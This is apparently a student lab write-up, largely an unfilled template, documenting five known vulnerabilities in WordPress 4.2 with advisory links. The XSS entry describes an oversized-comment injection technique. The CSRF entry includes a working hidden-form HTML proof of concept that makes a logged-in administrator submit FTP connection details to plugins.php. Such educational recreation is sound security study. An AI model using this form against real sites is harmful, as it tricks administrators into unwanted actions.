Time spent: X hours spent in total
Objective: Find, analyze, recreate, and document five vulnerabilities affecting an old version of WordPress
- (Required) Unauthenticated Stored Cross-Site Scripting (XSS)
- Summary: https://wpvulndb.com/vulnerabilities/7945.
- Vulnerability types: XSS
- Tested in version: 4.2
- Fixed in version: 4.2.1
- GIF Walkthrough:
- Steps to recreate: The vulnerability takes place when a user posts a comment that is extraordinarily long to bypass the MySQL limit of 64 kilobytes. When this happens, it executes code within HTML attributes supplied in the comment. When any user loads the page with the comment, the XSS executes.
- Affected source code:
- (Required) wp_untrash_post_comments SQL Injection
- Summary: https://wpvulndb.com/vulnerabilities/8126.
- Vulnerability types: SQL Injection
- Tested in version: 4.2
- Fixed in version: 4.2.4
- GIF Walkthrough:
- Steps to recreate:
- Affected source code:
- (Required) Filesystem Credentials Dialog CSRF
-
Summary: https://wpvulndb.com/vulnerabilities/8818
- Vulnerability types: CSRF
- Tested in version: 4.2
- Fixed in version: 4.2.15
-
Steps to recreate: Create an HTML file with a hidden submission form
<html> <body> <form action="http://wpdistillery.dev/wp-admin/plugins.php" method="POST"> <input type="hidden" name="hostname" value="sumofpwn.nl" /> <input type="hidden" name="connection_type" value="ftp" /> <input type="hidden" name="password" value="password" /> <input type="submit" value="Submit request" /> </form> </body> </html>
-
Affected source code:
- (Optional) Pupload Same Origin Method Execution (SOME)
- Summary: https://wpvulndb.com/vulnerabilities/8489
- Vulnerability types: Same Origin Method Execution (SOME)
- Tested in version: 4.2
- Fixed in version: 4.2.8
- GIF Walkthrough:
- Steps to recreate:
- Affected source code:
- (Optional) 2.3-4.7.5 - Large File Upload Error XSS
- Summary: https://wpvulndb.com/vulnerabilities/8819
- Vulnerability types: XSS
- Tested in version: 4.2
- Fixed in version: 4.2.15
- GIF Walkthrough:
- Steps to recreate:
- Affected source code:
List any additional assets, such as scripts or files
GIFs created with LiceCap.
Describe any challenges encountered while doing the work
Copyright 2017 Alexander Matson
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.